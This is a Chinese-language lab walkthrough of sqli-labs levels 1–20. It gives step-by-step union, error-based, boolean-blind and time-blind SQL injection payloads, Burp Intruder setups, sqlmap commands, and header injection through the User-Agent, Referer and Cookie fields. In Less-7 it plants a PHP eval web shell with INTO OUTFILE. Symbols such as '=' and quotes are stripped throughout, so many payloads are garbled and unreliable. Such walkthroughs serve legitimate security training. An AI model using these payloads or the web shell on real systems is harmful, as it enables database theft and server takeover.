sqli-labs基础挑战1-20关

📅 2026/7/2 19:22:13
sqli-labs基础挑战1-20关
声明本文发布的工具和脚本仅用作测试和学习研究禁止用于商业用途不能保证其合法性准确性完整性和有效性请根据情况自行判断。文中所涉及的技术、思路及工具等相关知识仅供研究安全技术为目的的学习使用任何人不得将其应用于非法用途及盈利等目的间接使用文章中的任何工具、思路及技术我方对于由此引起的法律后果概不负责。写在前面SQL注入一般都是学习的第一个漏洞对我们学习方法、思路、习惯的养成有很大影响要从这里就学会形成良好的学习习惯。打靶不是目的不要为了打靶而打靶某些XSS靶场打靶记录文章里直接抄的答案就像只抄了最终答案而没有解题过程一样完全是自欺欺人打靶是为了熟悉SQL注入流程如何判断注入点–如何判断参数类型–如何查询列数–如何确认有无显示位或语法报错或页面显示异常根据不同的情况选择不用的注入方式–根据注入方式依次查询库、表、列。在此过程中最好将自己的练习过程记录下来记录下来之后的成果其实就可以作为以后漏洞挖掘的一个指导思想它将我们学习的SQL注入的各个零碎知识串联起来就像数学中的程序框图从开始到判断语句如果符合条件则怎样操作不符合则怎样操作。。。例如在选择使用什么注入方式这里如果存在显示位则优先使用联合查询注入、如果存在报错信息则可以使用报错注入、如果能判断出此处存在注入但显示位和报错信息都没有则可以尝试盲注三者的优先级是(联合查询报错注入布尔盲注时间盲注)。可以使用思维导图形式也可以写成笔记形式只要把自己的思路和学习的知识整理并串联到一起这个就是体系化形成体系化之后需要做的就是不断的熟悉直到成为本能。一开始的体系化会非常核心而简单就像she was a girl后续我们学习如何判断数据库类型、如何bypass、SQL注入的底层原理、其他数据库的注入方式、HTTP头注入、二次注入等等内容就像往里面填充形容词如she was a beautiful girl has black hair。一、less-1请求方式GET 注入类型联合、报错、布尔盲注、时间盲注 拼接方式id$id1、Hackbar的简单使用2、方式一联合查询注入2.1、判断数据类型?id1 and 11;正常?id1 and 12;正常结合11得出数据类型不是整型?id1;报错可能为字符型?id1 %23;正常可以确认数据类型为字符型。%23为注释符#的意思注释掉后面的语句也可以用?id1’ --来注释。?id1 and 11;正常使用【】闭合语句select *from users where id‘1’‘and‘1’1;这里的’1’1意思是’1’这种形式输入的参数是否为1(即Bool类型True)输入格式正确就会返回正常。2.2、查询列数?id1 order by 1 --正常列数1?id1 order by 2 --正常列数2?id1 order by 3 --正常列数3?id1 order by 4 --报错确认列数为3列2.3、确认显示位关于将id值设置为0或者负数的解释由于我们的语句是插入到原有语句后面这样就会出现两个SQL语句同时执行由于SQL查询默认返回一行数据所以我们插入的第二行语句的结果就不会被返回只会返回原有的SQL语句的查询内容。要让数据库查询我们插入的语句需要让原有SQL语句查询为空。官方点的定义叫UNION的作用是将两个select查询结果合并以union关键字分隔而程序在展示数据的时候通常只会取结果集的第一行数据这就让联合注入有了利用的点。当我们查询的第一行是不存在的时候就会回显第二行给我们。讲查询的数据置为-1那第一行的数据为空第二行自然就变为了第一行所以我们可以使id0或id-1零或负数不会被用作id值它插入进去一定导致原有SQL语句查询结果为空我们插入的SQL语句的结果就会被返回。?id-1 union select 1,2,3 -- 正常联合查询注入即union select由于列数为3列所以我们允许同时查询三个语句插入效果如下图产生报错然后插入了我们查询的数字可以看到该靶场环境只有2,3列是显示位(人话就是我们能看到插入效果的位置)2.4、查询数据库信息确认完显示位可以利用显示位查询下数据库信息如数据库版本、当前数据库名、?id-1 union select 1,version(),database()--2.5、查询数据库这里有两种选择一种是查询当前数据库然后查询当前数据库内的表、列、数据一种是爆破出所有数据库名再选择数据库去查询其中的表、列、数据2.5.1、查询当前数据库MySQL可以使用database();来查询当前数据库在显示位插入该语句查询?id-1 union select 1,2,database() --可得到当前数据库名为 securityPS当前99%以上的MySQL版本都是5.0以上都支持 information_schema 库(一个不存储具体数据但类似看书时的目录索引的库)所以我们会使用该库进行爆数据库--爆数据表--爆数据列--爆数据(类似于根据目录查页数然后翻到相对于的位置)查询当前数据库中的表?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() --2.5.2、爆破所有数据库?id-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --得到当前MySQL中所有数据库名称2.6、爆破security库中的表?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity --由于该环境数据类型为字符型所以指定的数据库名称形式为‘xxxx’得到表emails,referers,uagents,users这几个表中可以一眼看出users这个表应该就是用户(user)表其中可能含有用户信息接下来着重爆破该表。2.7、爆破security库users表中的列(即字段)?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers --得到id、username、password三个列(字段)2.8、查询具体数据从security库users表中查询列里面的数据内容?id-1 union select 1,2,group_concat(username,password) from users --可得到具体username和password但可以发现两组数据之间没有切割很不容易辨认优化语句在两组数据之间添加区分语句如添加_、、、空格等等都可以注意由于数据类型为字符型所以需要在两边加上 ‘’,如**‘’**?id-1 union select 1,2,group_concat(username,_,password) from users --也可以在username后面添加再花里胡哨一点就是给结果换行把换行符%0xbr经过hex编码后的0x3c62723e输入SEPARATOR为拆分命令可让每条结果都互相拆开?id-1 union select 1,2,(select group_concat(username,,password separator 0x3c62723e) from users)--3、方式二报错注入3.1、注入点判断判断方式和联合查询注入一样不同在于发现存在报错信息所以可以使用报错注入3.2、查询数据库3.2.1、当前数据库注意报错型注入id值可以为正不影响结果注意与联合查询注入区分开。?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --或?id1 and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --3.2.2、所有数据库?id1 and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --执行成功但有一个问题–我们无法像联合查询那样一次性看到所有数据库名称这里就需要进入limit参数了让数据一个一个的输出?id1 and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --得到第一个库名information_schema根据limit 0,1、limit 1,1、limit 2,1、limit 3,1、limit 4,1…形式逐个查询limit后面的参数类似于C语言中的数组a[0][1]、a[1][1]、a[2][1]limit和not in语句的详细解释详见Web安全/Web安全提升/SQL注入拓展/《limit和not in语句》?id1 and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --以limit 0,1、limit 1,1、limit 2,1…的形式遍历直到遍历完数据库名3.3、查询数据库中的数据表查询security数据库中的第一个表、第二个表…同样是修改limit 0,1、limit 1,1、limit 2,1…形式查询?id1 and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schemasecurity limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --3.4、查询数据表中的列(字段)同样是修改limit 0,1、limit 1,1、limit 2,1…形式查询?id1 and (select 1 from (select count(*),concat((select concat(column_name,;) from information_schema.columns where table_nameusers limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --3.5、查询具体数据3.5.1、方式一得到两组username:password数据?id1andextractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--使用not in查询其他数据not in表示和这些数据username不同的数据?id1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (Dumb,Angelina))))--然后继续添加查询到的数据到not in里面查询username不相同的数据直到查询完全部数据?id1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (Dumb,Angelina,Dummy,secure)))) --3.5.2、方式二老老实实使用limit 去遍历?id1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --4、方式三布尔盲注一般用在页面上没有显示位但是有SQL语句执行错误信息输出的场景我们就假设这个环境联合查询和报错注入没有显示位无法使用以这个前提去练习布尔盲注就行了。盲注也是一种报错注入但不是通过制造报错再插入语句查询数据了而是只通过报错这一行为去判断语句是否执行成功。只有根据数据的True和False显示不同的页面状况没有显示位。通过输入单个字符去猜解数据库、表、列名称将abcdefg等26个字符全部猜解一遍如果数据库中数据字符与我们输入的相同则会页面显示正常则可以猜解下一个字符如当前数据库名为security我们猜解database()即当前数据库,1表示第一个字符表示大于小于(这里表示是否大于a页面返回正常则大于a这里也可以使用**、符号**来判断4.1、二分法我们可以通过二分法去加快判断速度从m或者n开始判断然后根据结果再次二分f/g或t/u二分到确认字符。a97、b98、c99、d100、e101、f102、g103、h104、i105、j106、k107、l108、m109、n110、o111、p112、q113、r114、s115、t116、u117、 v118、w119、x120、y121、z1224.2、判断显示位?id-1 and -1-2 union select 1,2 -- 页面错误无返回信息4.3、爆破当前数据库4.3.1、数据库长度7页面正常8页面错误说明长度为8?id1 and (length(database()))7 -- ?id1 and (length(database()))8 --4.3.2、数据库名称二分法得出第一个字符为s?id1 and left(database(),1)m-- 页面正常 ?id1 and left(database(),1)t-- 页面错误 ?id1 and left(database(),1)q-- 页面正常 ?id1 and left(database(),1)r-- 页面错误 ?id1 and left(database(),1)s-- 页面正常第二个到第8个字符同理?id1 and left(database(),2)sn-- 页面错误 ?id1 and left(database(),2)sf-- 页面错误 ?id1 and left(database(),2)sc-- 页面正常 ?id1 and left(database(),2)se-- 页面正常确认为se4.3.3、ASCII也可以通过 ASCII 十进制来爆破当前数据库跟上面一样二分法最后使用 判断可参照ASCII码对照表https://www.asciim.cn/?id1 and ascii(substr(database(),1,1))115 -- 页面正常得出第一个字符为s ?id1 and ascii(substr(database(),1,1))115 -- 页面正常第二个字符为e… 直到爆破完8个字符得出当前数据库名4.4、爆破表名这里语句中第一个limit 0,1表示当前数据库即database()中的第一行中查看一个表。第二个1,1表示第一个表的第一个字符爆破依次2,1、3,1…直到爆破完?id1 and (ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)))101 -- 二分法得到第一个表名为ASCII 101的字符即字母e使用二分法依次爆破得到表名。如图爆破7,1第7个字母时使用二分法分完了都没有找到合适的一直试各种ASCII xx直到试到00是空字符则表明没有第七个字母第一个表长度就是6位。?id1 and (ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),7,1)))0 --第二个表切换为limit 1,1爆破即可后面的第三个limit 2,1第四个表limit 3,1也是如此爆破。4.5、爆破列(字段)名爆破security数据库中的users表中的字段二分法得到?id1 and (ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),1,1)))106 -- ?id1 and (ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),1,1)))104 --第三个字母0则表名第一个字段只有两个字母?id1 and (ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),3,1)))0 --4.6、猜解数据库、表、字段上面各种爆破麻烦的要死既然布尔盲注是根据页面来判断是否正确那我们可以通过猜解数据库名、表名、字段名来取巧。4.6.1、猜解数据库名?id1 and left(database(),8)security--4.6.2、猜解表名页面正常说明存在一个名叫users的表一般企业数据库内都容易存在user、users、企业拼音缩写user、拼音缩写users、英语缩写user、英语缩写users等用户表或者admin、缩写admin、superadmin等敏感信息表。?id1 and (select a from users limit 1)a --可以尝试去试下有没有admin、administrator、root、缩写admin、缩写root、superadmin等用户名?id1 and (select a from users where usernameadministrator)a --4.7、查询具体数据二分法继续划分得出第一个用户名第一个字母为D?id1 and (ascii(substr(( select username from users limit 0,1),1,1)))68 -- ?id1 and (ascii(substr(( select password from users limit 0,1),1,1)))68 --爆破第一个username的第二个字母limit 0,1)2,1、第三个字母limit 0,1)3,1继续爆破第二个username、password就是limit 1,1 第三个limit 2,1…5、方式四时间盲注比布尔盲注更狠一些连True和False都没了页面全部是True也就是不论语句执行与否返回的页面信息都是正常情况我们只能通过控制页面返回的时间来判断是否注入成功。如SQL注入语句中插入一个sleep(5)则如果SQL注入语句插入成功并且执行服务器端会等待5秒再把页面信息发送回来如果没成功则不等待直接发送回来。?id1 and -1-1 -- 页面正常 ?id1 and -1-2 -- 页面正常判断可能是盲注使用sleep()判断是否是时间盲注写入编码后的 ?id1’ and sleep(5) --写入等待了5秒判断为时间盲注?id1%27%20and%20sleep(5)%20--5.1、爆破数据库二分法猜解5.1.1、数据库名长度?id1andif((length(database()))7,sleep(5),1) -- ?id1andif((length(database()))8,sleep(5),1) --5.1.2、数据库名?id1 and if(ascii(substr(database(),1,1))114,1,sleep(5))--没有等待直接返回结果且页面正常?id1 and if(ascii(substr(database(),1,1))115,1,sleep(5))--肉眼看上去不好计时使用burp抓包更直观反应时间为5000毫秒多一些也就是5秒多并且页面产生错误随后就同布尔盲注二分法一样去根据回显时间判断SQL注入语句是否执行成功。5.2、burp爆破数据库名不折磨自己了用burp开搞抓包发送到Repeater、Intruder5.2.1、为什么要URL编码输入使用符号经过url编码过的SQL注入语句未经编码的执行会报错那么问题来了为什么不对符号进行url编码会报错思考一下答因为url格式就是浏览器解析后的形式由于我们使用的burp不是浏览器burp并不会像浏览器那样只要我们访问就会自动解析所以我们需要将解析后的语句填写进去才行url编码会将空格变为%20 单引号变为%27?id1%27%20and%20if(ascii(substr(database(),§1§,1))§115§,1,sleep(5))--设置第一个爆破值由于前面探测到数据库名长度为8所以设置从1到8间歇为1设置第二个爆破值爆破ASCII值从常见符号到大写字母到小写字母设置线程老版burp直接在options中设置threads即可新版则需要新建一个模式去设置线程和请求间隔这里设置100线程设置完毕之后点击右上角start attack开始攻击。根据返回长度检查得到1 1152 1013 994 1175 1146 1057 1168 121根据ASCII表一一对照即可。5.3、爆破表名这里就不猜解表名了因为哪怕不猜解使用burp爆破仍然能爆破到正确字母超出长度的会变成空【0】?id1 and if((ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)))108,sleep(5),1) --将编码后的如下代码写入burp Intruder?id1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schemadatabase()%20limit%200,1),1,1)))108,sleep(5),1)%20--得到第一个表1 1012 1093 974 1055 1086 115爆破第二个表则修改下前面的limit 0,1为limit 1,1即可第三个第四个表则继续limit 2,1 limit 3,1…第二个表1 114 r2 101 e3 1024 1015 1146 1017 1148 1155.4、爆破字段名仍然是在盲注基础上添加了一个if()函数和sleep()函数if报错–》sleep(5)?id1 and if((ascii(substr((select column_name from information_schema.columns where table_name表名 limit 1,1),1,1)))102,sleep(5),1) --符号url解析后?id1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name%27users%27%20limit%201,1),1,1)))102,sleep(5),1)%20--这里为什么要从limit 1,1开始呢因为第一行是表的名称爆破limit 0,1会得到如下结果USER后续字段名修改limit后的值再爆破即可5.5、爆破具体数据爆破具体字段中的值?id1 and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))102,sleep(5),1) --url解析后?id1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))102,sleep(5),1)%20--6、sqlmap联合查询注入.\sqlmap.py -u http://192.168.0.121/sqli/Less-1/?id1 --dbmsMySQL --techniqueU -v 3报错注入.\sqlmap.py -u http://192.168.0.121/sqli/Less-1/?id1 --dbmsMySQL --techniqueE -v 3布尔盲注.\sqlmap.py -u http://192.168.0.121/sqli/Less-1/?id1 --dbmsMySQL --techniqueB -v 3时间盲注.\sqlmap.py -u http://192.168.0.121/sqli/Less-1/?id1 --dbmsMySQL --techniqueT -v 36.1、其他参数这里以–techniqueB即以布尔盲注方式注入来举例。–current-db 当前使用的数据库–dbs 列出所有数据库信息(所有数据库名)-D 指定数据库爆破指定数据库中的表-D 数据库名 --tables-T 指定数据表名爆破指定表中的字段-D 库名 -T 表名 --columns-C 指定字段名爆破具体数据–dump 将数据导出、转储一般大家都是直接说 “把数据down出来”指定库、表、字段查询具体数据二、less-2请求方式GET 注入类型联合、报错、布尔盲注、时间盲注 拼接方式id$id和 Less-1 利用方式一致只是闭合方式不一样less-1是字符型这个是整型这里只在这演示一遍如何判断类型后续的less不再解释?id1’ 添加单引号提示–Limit 0,1’说明我们插入的’导致SQL语句后面多出了一个【 ’ 】那我们不添加单引号【】尝试下发现显示正常了说明为整型id的数据类型不是【‘id’】也不是【“id”】【(‘id’)】等?id1 and 11-- ?id1 and 12-- ?id-1 xxxxxxxxxxxx三、less-3请求方式GET 注入类型联合、报错、布尔盲注、时间盲注 拼接方式id($id)和 Less-1 利用方式一致只是闭合方式不一样less-1是字符型这个是加了括号的字符型输入单引号报错?id1’ 得到1) limit 0,1’由上面的返回结果判断后台SQL语句为select * from * where id (‘$id’) LIMIT 0,1根据id数据类型【(‘id’)】编写闭合语句让其闭合前面的语句因为只有闭合了前面的语句才能执行我们后面插入的恶意SQL注入代码。?id1) 页面正常证明闭合成功 ?id1) and 11-- ?id1) and 12--四、less-4请求方式GET 注入类型联合、报错、布尔盲注、时间盲注 拼接方式id($id)和 Less-1 利用方式一致只是闭合方式不一样先双引号再括号闭合。五、less-5(不输出查询结果)请求方式GET 注入类型报错、布尔盲注、时间盲注 拼接方式id$id和 Less-1 利用方式不一样禁止输出结果由于没有输出结果我们只能使用报错、布尔盲注、时间盲注直接输入?id1 正确语句会报You are in…这里直接就把联合查询注入给否决了那我们就要想怎么去给它制造报错因为有反应才证明我们能控制SQL输入这才能插入恶意SQL语句。使用【】、【】等方式去尝试?id1 仍然没反应?id1’ 产生报错证明id参数是单引号字符型闭合。闭合成功接下来就按照报错注入格式注入即可5.1、思考问题想一下为什么这里使用单引号产生报错了就说明它是以单引号闭合的呢六、less-6请求方式GET 注入类型报错、布尔盲注、时间盲注 拼接方式id$id和less-5利用方式一样就是闭合方式不同七、less-7(无输出与报错结果)请求方式GET 注入类型报错、布尔盲注、时间盲注 拼接方式id(($id))后台动态SQL语句猜测可能如下$sqlSELECT * FROM users WHERE id(($id)) LIMIT 0,1;使用单引号直接报:You have an error in your SQL syntax使用双引号结果与直接输入id1一样使用如下成功闭合?id1)) --使用报错注入尝试:?id1)) and updatexml(1,concat(0x7e,database(),0x7e),1)--不显示报错信息说明报错注入无法使用使用布尔盲注探测语句?id1)) and 11--?id1)) and 12--页面报语法错误所以可以使用布尔盲注和时间盲注。7.1、判断列数?id1)) union select 1,2,3-- id1)) union select 1,2,3 # id1)) union select 1,2,3,4--3列正确4列错误。得到列数为3列。7.2、into outfile这个less本身设计的就是为了让我们into outfile——“You are in…Use Outfile…”。通过into outfile上传木马文件来达到getshell目的。需要说一下这个方法需要mysql数据库开启secure-file-priv写文件权限否则不能写入文件。7.2.1、打开写入权限手动在MySQL配置文件my.ini中添加secure_file_priv允许写入到任何文件夹。写入成功成功创建sec.php文件?id1)) union select 1,2,?php eval($_POST[cmd]);? into outfile C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\\Less-7\\sec.php--蚁剑连接即可八、less-8请求方式GET 注入类型布尔盲注、时间盲注 拼接方式id$id和less-7注入方式一样仅仅是闭合方式不同九、less-9(正常和错误回显一致)请求方式GET 注入类型时间盲注 拼接方式id$id和less-7注入方式类似但页面不论输入正确id还是错误id回显数据都一样这样就无法分辨语句是否插入并且成功执行所以只能通过时间盲注来判断。输入正常id结果“You are in…”输入布尔盲注报错语句结果仍然一样使用时间盲注即可?id1%27%20and%20sleep(5)%20--十、less-10请求方式GET 注入类型时间盲注 拼接方式id$id和less-9仅仅是拼接方式不同十一、less-11(POST型注入)请求方式POST 注入类型联合、报错、布尔盲注、时间盲注 拼接方式usernamex11.1、思考GET传参和POST传参的区别是什么两者通常用在哪种页面哪些功能点11.2、浏览器POST注入(不推荐)在浏览器上使用hackbar去处理POST型注入需要勾选POST选项选择后都会出现一个Body框在Body框中输入数据即可注入。以下是两个主流浏览器开启抓取POST传参的方式POST型传参不再是在URL中进行参数传递而是在输入框中参数传递过程如图将输入的信息捕捉到数据包的Body中然后在Body中的参数后面编辑SQL注入语句即可。不过Hackbar传参有时候会出问题浏览器要测试可以在username框之中插入参数去注入11.3、Burp抓包注入(推荐)推荐使用burp抓包我试了下由于各个样式的Hackbar千奇百怪的老是会出现各种问题传参不如原来Firefox上免费时期的2.1.3版本之前的Hackbar由于该题目含有弱口令admin/admin可以用于测试显示位可用联合查询注入抓包发送到Repeater输入语句点击左上角send查看Response在Response下方如图的搜索框输入想搜索的关键字即可查看结果unameadmin’ and 11– 页面正常能搜索到关键字unameadmin’ and 12– 页面错误不能搜索到关键字说明存在报错型注入使用报错型注入即可十二、less-12请求方式POST 注入类型联合、报错、布尔盲注、时间盲注 拼接方式username(x)和less-11做法一样仅仅是闭合方式不同十三、less-13(不输出查询结果)请求方式POST 注入类型报错、布尔盲注、时间盲注 拼接方式username(x)与less-7方式一样只是GET型注入换成了POST型注入比less-11和less-12由于没有输出结果所以无法使用联合查询注入十四、less-14请求方式POST 注入类型报错、布尔盲注、时间盲注 拼接方式usernamex和less-13注入方式一样仅仅是闭合方式不同十五、less-15(无输出与报错结果)请求方式POST 注入类型布尔盲注、时间盲注 拼接方式usernamex与less-7类似只是只是GET型注入换成了POST型注入由于不输出查询结果且不输出报错结果所以无法使用联合查询注入和报错注入十六、less-16请求方式POST 注入类型布尔盲注、时间盲注 拼接方式username(x)和less-15注入方式一样仅仅是闭合方式不同十七、less-17(添加过滤)请求方式POST 注入类型报错、布尔盲注、时间盲注 拼接方式password $passwd17.1、尝试报错默认页面显示[PASSWORD RESET]输入admin、admin登录没有回显所以联合查询注入不能用。但显示了图标页面产生了变化说明能进行盲注17.2、过滤条件查了下这题做了特别多的过滤只截取15个字符get_magic_quotes_gpc()当magic_quotes_gpcOn的时候函数get_magic_quotes_gpc()就会返回1当magic_quotes_gpcOff的时候函数get_magic_quotes_gpc()就会返回0magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据如包括有post、get、cookie过来的数据增加转义字符“\”以确保这些数据不会引起程序特别是数据库语句因为特殊字符引起的污染而出现致命的错误。 在magic_quotes_gpcOn的情况下如果输入的数据有 单引号’、双引号”、反斜线\与NULLNULL字符等字符都会被加上反斜线。stripslashes()删除由addslashes()函数添加的反斜杠ctype_digit()判断是不是数字是数字就返回true否则返回falsemysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。intval()整型转换17.3、寻找注入点在username框输入内容提示错误这关注入点在passwd框在passwd框尝试闭合提示成功更新密码注入点应该就在更新处在passwd后插入报错注入语句证明可以进行报错注入可以报错自然也可以进行盲注passwdadmin and updatexml(1,concat(0x7e,database(),0x7e),1) --十八、less-18(UA)请求方式POST 注入类型报错、布尔盲注、时间盲注 拼接方式VALUES ($uagent)登录后显示当前IP地址和UA(User-Agent)信息对UA内容进行修改尝试 and updatexml(1,concat(0x7e,database(),0x7e),1) --输入上面语句发现语法错误由于是将UA语句直接插入到数据库语句所以不能在后面使用–注释需要将两头都闭合由于是单引号闭合所以需要在两头都加上单引号以闭合两端语句又由于UA是作为其中一项条件插入到SQL中所以需要添加and作为限制语句条件之一。后台动态SQL语句猜测类似于$insertINSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname);所以使用如下语句即可1and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 或1 and updatexml(1,concat(0x7e,database(),0x7e),1)and 18.1、思考问什么不能使用注释符而是要使用两头闭合的方式呢答因为我们注入的点是and限制语句中的其中一个条件如果直接注释后面的条件会导致语句无法正常执行因此我们这里选择两头闭合。十九、less-19(Referer)请求方式POST 注入类型报错、布尔盲注、时间盲注 拼接方式VALUES ($uagent)和less-18一样属于HTTP头注入只不过这里注入点在Referer上and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 二十、less-20(Cookie)请求方式POST 注入类型联合、报错、布尔盲注、延时盲注 拼接方式username$cookee还是HTTP头注入但是注入点在Cookie中20.1、思考Session和Cookie的区别是什么两者哪个常用在服务端哪个常用在客户端20.2、注入从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了这就导致了注入点的产生并且还输出了查询信息所以还可以用联合查询注入。正常使用admin、admin登录上去会说I Love You Cookies暗示Cookie注入。登录后再抓包然后刷新下页面能抓到含有Cookie信息的包这里为什么登录后才能抓到Cookie信息直接在Cookie后门添加注入语句即可and extractvalue(1,concat(0x7e,(select database()),0x7e)) and